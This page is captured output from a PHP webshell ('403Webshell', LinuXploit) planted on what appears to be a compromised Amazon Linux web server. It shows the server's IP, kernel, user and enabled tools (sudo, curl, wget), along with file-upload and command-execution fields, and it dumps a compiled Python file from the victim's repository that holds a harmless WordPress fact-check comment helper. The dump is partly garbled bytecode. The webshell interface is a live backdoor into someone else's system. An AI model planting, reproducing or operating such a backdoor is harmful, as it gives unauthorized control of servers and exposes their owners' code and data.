403Webshell
Server IP : 3.147.158.171  /  Your IP : 216.73.216.216
Web Server : Apache/2.4.67 (Amazon Linux) OpenSSL/3.5.5
System : Linux ip-172-31-2-178.us-east-2.compute.internal 6.1.172-216.329.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 20 06:31:34 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.21
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /tsai/repo/api/app/utilities/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /tsai/repo/api/app/utilities/__pycache__/fact_check.cpython-310.pyc
o

��Wj��@s�dZddlmZmZmZmZdZdZdededefdd	�Z	dededefd
d�Z
deeefdefd
d�Zdeeeeefdeeeeffdd�Z
dS)atThe fact-check / corrections comment contract.

Fact-check and corrections comments are posted to WordPress as guest comments
whose *author name* encodes which model produced them, e.g.
``Fact-Check (via OpenAI gpt-5.5)``. That name is the only marker identifying
them: corrections look up their parent fact-check by matching the author-name
prefix, and comment scoring excludes them the same way.

The format therefore has to agree in every place that writes or reads it. It
previously lived as separate literals in the article-creation service, the
comment agent, and improve_article.py; this module is the single definition.
�)�Any�Dict�Iterable�Optionalzfact-check (via zcorrections (via �
provider_name�
model_name�returncC�d|�d|�d�S)z3The author name to post a fact-check comment under.zFact-Check (via � �)��rrrr�*/tsai/repo/api/app/utilities/fact_check.py�fact_check_author_name�rcCr	)z4The author name to post a corrections comment under.zCorrections (via r
rrr
rrr�corrections_author_namerr�commentcCs|�d�pd���t�S)z;True when a WordPress comment dict is a fact-check comment.�author_name�)�get�lower�
startswith�FACT_CHECK_AUTHOR_PREFIX)rrrr�is_fact_check_commentsr�commentscCs"|pgD]
}t|�r|SqdS)zFReturn the first fact-check comment in a list of WP comments, or None.N)r)rrrrr�find_fact_check_comment$s
�rN)�__doc__�typingrrrrrZCORRECTIONS_AUTHOR_PREFIX�strrr�boolrrrrrr�<module>s
2

Youez - 2016 - github.com/yon3zu
LinuXploit